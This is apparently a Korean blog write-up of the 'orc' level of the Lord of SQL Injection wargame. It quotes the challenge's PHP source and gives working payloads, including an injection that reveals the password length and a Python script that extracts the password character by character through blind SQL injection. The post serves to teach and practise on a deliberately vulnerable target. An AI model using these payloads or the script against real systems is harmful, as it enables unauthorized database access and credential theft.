[LOS] orc

덩덩..·2025년 5월 2일

Lord of SQL Injection

목록 보기
4/6

문제 화면

풀이

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  
  ## PW -> prob _ . () 있으면 차단, i -> 대소문자 구분X
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  ## addslasheds()-> \, ', "  차단
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

첫 번째 쿼리문에서 필터링을 할 때 \, ", ' 차단하지 않아 sql injection을 수행할 수 있지만 두 번째 쿼리문에서는 막힌다.
두번째 쿼리문에서 get 방식으로 받은 초기 PW 값에 addslash() 거친 PW 값이 존재해야하고 초기 PW 값과 같아야 한다. 따라서 이에 따라 정확한 비밀번호를 직접 찾아야한다.
Blind SQL Injection을 통해 문제를 해결할 수 있다.


url 뒤에 쿼리문 PW 길이를 구하는 쿼리를 작성해줬다.
?pw='||length(pw)='((PW 길이)) 이런 형식으로 만들어줬다.
길이 1부터 넣어봤는데 8에서 'hello admin' 이라는 값이 나왔다.
?pw=%27||length(pw)=%278
따라서 PW의 길이는 8이다.

이제 PW를 하나씩 찾아봐야한다.

import requests

headers = {'Cookie' : 'PHPSESSID=pqdkahf4fg0otd9b0ooi3rn7dj'}
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

pw = ''
length = 8

# 반복문 통해 PW 찾기
for i in range(1, length+1):
    for j in string:
        data = "?pw=' or pw like \'" + pw + j + "%"
        r = requests.get(url + data, headers = headers)
        if r.text.find('Hello admin') != -1:
            pw = pw + j
            print (pw)
            break

print ("Password : ", pw)

업로드중..

Blind SQL Injection
: 임의의 데이터를 알아내기 위해 알아내기 위한 방법이다.
참인 쿼리문과 거짓인 쿼리문을 삽입할 때 참과 거짓에 따라 반환되는 데이터를 비교해 데이터를 추출하는 공격이다. 조건문이 참이면 페이지가 정상 출력되고 거짓이면 출력되지 않음으로 구분을 할 수 있다. 에러가 발생되지 않는 사이트에서 DB로부터 특정 값이나 데이터를 전달받지 않고 단순히 참과 거짓 정보만 알고 있을 때 사용된다.

0개의 댓글